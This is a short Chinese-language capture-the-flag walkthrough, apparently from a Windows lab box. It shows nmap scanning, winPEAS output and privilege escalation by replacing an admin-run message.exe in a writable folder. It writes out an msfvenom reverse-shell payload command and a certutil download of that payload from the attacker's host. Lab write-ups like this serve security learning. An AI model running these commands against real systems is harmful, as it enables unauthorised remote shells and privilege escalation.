主要就是80进web搜集信息
C:root> nmap -A 10.10.16.216
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-26 01:55 EDT
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.64 seconds
C:root> nmap -A 10.10.16.216 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-26 01:55 EDT
Nmap scan report for 10.10.16.216
Host is up (0.27s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 6 disallowed entries
| /Account
,((((((((((((((((((/, .*//((/####### .(. ((((((
((((((..******************/@@@@@######* /((((((
,,..**********************@@@@@@@@@@(***,#### ../(((((
, ,**********************#@@@@@#@@@@*********##((/ /((((
..(((##########*********/#@@@@@@@@@@@@@@#****************.. /((
.((########################(/*,. ./(((((((((((.
(((((((((((((((((((((((((((/"
by carlospolop
ECHO is off.
Advisory: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
ECHO is off.
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-> [*] BASIC SYSTEM INFO <_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-> [+] WINDOWS OS <_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
[i] Check for vulnerabilities for the OS version with the applied patches
看到运行的服务里
有wscheduler.exe好像和那个可疑目录名字上有点关联,以及还有其他exe比如message这些比较可疑的,平常难见的,可以稍微留心,说不定都有用
进入那个可疑目录看看,看到有message.exe。对应了上面扫出来的可疑服务进程
再深入挖掘,event里看log,发现admin在不断打开和关闭运行着message.exe,可能就是不断发信和关闭,再发信吧。
这样也明白了。是admin再运行这个message.exe,而这个目录我们又有写的权限。
伪造一个新的message.exe,但其实是弹shell文件。这样admin执行它时,实际上在弹shell给我们,如此就提权了。
msfvenom -p windows/shell_reverse_tcp LHOST=10.9.23.70 LPORT=443 -e x86/shikata_ga_nai -f exe -o Message.exe
把靶机目录下老的message.exe改为其他文件,免得重复会出问题。
ren Message.exe Message.bak
再传进来新的message
certutil -urlcache -split -f http://10.9.23.70/Message.exe Message.exe
过一会,监听就收到了,拿下



